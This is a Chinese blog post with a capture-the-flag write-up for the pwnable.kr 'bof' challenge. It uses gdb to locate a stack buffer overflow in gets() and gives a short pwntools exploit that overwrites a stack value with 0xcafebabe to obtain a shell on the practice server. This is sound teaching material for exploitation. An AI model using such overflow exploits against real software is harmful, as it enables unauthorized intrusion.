Pwnable.kr系列--bof(3)

2017-05-16-000932_404x397_scrot.png

明显可以看出gets(overflowme)中存在栈溢出,
用gdb调试一下

gdb .bof

在main函数处设个断点

b main

run一下

Screenshot from 2017-05-16 00-44-23.png

可以看到函数func的地址为0x5655562c
反汇编一下该函数


Screenshot from 2017-05-16 00-46-25.png

在gets函数处设个断点

b* 0x5655564f

让程序跑到断点处
然后查看栈的数据

Screenshot from 2017-05-16 00-49-12.png

现在栈顶位置所存的地址指向overflowme数组的首地址
所以overflow首地址为0xffffce4c
可以清楚地看到0xdeadbeef存在栈中,并且可以算出
0xdeadbeef和overflowme首地址之间相差了52个字节,
所以填充完52个字节之后就能覆盖到0xdeadbeef了
poc如下:

#!/usr/binenv                                                              
from pwn import *

#target = process("./bof")
target = remote("pwnable.kr", "9000")

key = 0xcafebabe
padding = "A" * 52
payload = padding + p32(key)
  
target.send(payload)
target.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 概述 GDB是一个由GNU开源组织发布的、UNIX/Linux操作系统下的、基于命令行的、功能强大的程序调试工具。...
    咕咕鷄阅读 20,991评论 0 8
  • Exercise 3 方法:打开终端运行make qemu-gdb,再打开另一个终端运行make gdb,通过b ...
    找不到工作阅读 10,134评论 0 6
  • 程序调试的基本思想是“分析现象->假设错误原因->产生新的现象去验证假设”这样一个循环过程,根据现象如何假设错误原...
    Manfred_Zone阅读 16,623评论 0 26
  • 转载 与调试器共舞 - LLDB 的华尔兹: https://objccn.io/issue-19-2/ 推荐:i...
    F麦子阅读 3,365评论 0 10
  • Protocol,简单来说就是一系列不属于任何类的方法列表,其中声明的方法可以被任何类实现。这种模式一般称为代理(...
    锤子一号阅读 238评论 0 0